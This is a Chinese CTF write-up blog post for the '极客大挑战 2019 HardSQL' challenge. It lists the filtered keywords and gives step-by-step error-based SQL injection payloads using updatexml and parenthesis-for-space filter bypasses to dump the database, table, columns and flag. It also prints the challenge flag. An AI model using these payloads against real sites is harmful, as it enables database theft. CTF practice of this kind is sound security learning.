[极客大挑战 2019]HardSQL

题目分析

1.访问网址
在这里插入图片描述2.还是sql注入问题。brup抓包,检测注入点
在这里插入图片描述发现其是单引号闭合,可以输入select,但是输入and,or时,会被剔除掉,所以猜测其过滤了and和or
3.所以,我们可以将select换为其他关键词,查看其究竟过滤了哪些关键词

#经过检测,发现过滤以下关键词
and
=
union
if
> < <>
sleep()
mid()
#没有过滤以下关键词
select
or
where
from
like
limit

因为过滤了各种空格的编码,所以也无法使用拼接注入

#下面的语句因为过滤了 +(空格),所以无法使用
select * from users where username='admin'un/*' and password='*/ion(user())select+database()'

4.因为我们发现,当我们输入的不正确时,会有报错,所以应该是报错注入
构造语句

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

在这里插入图片描述5.获取表名字

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

在这里插入图片描述6.查询列名

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

在这里插入图片描述7.查询flag

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

在这里插入图片描述发现flag只有一半,为flag{58114a3b-8ad1-4067-b52b-6c

这是因为updatexml只能报错32字节,所以我们

admin'or(updatexml(1,concat(0x7e,(select(right(password,32))from(H4rDsq1)),0x7e),1#

a3b-8ad1-4067-b52b-6c5e7b48dc6a
在这里插入图片描述

两者拼接得到
flag{58114a3b-8ad1-4067-b52b-6c5e7b48dc6a}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值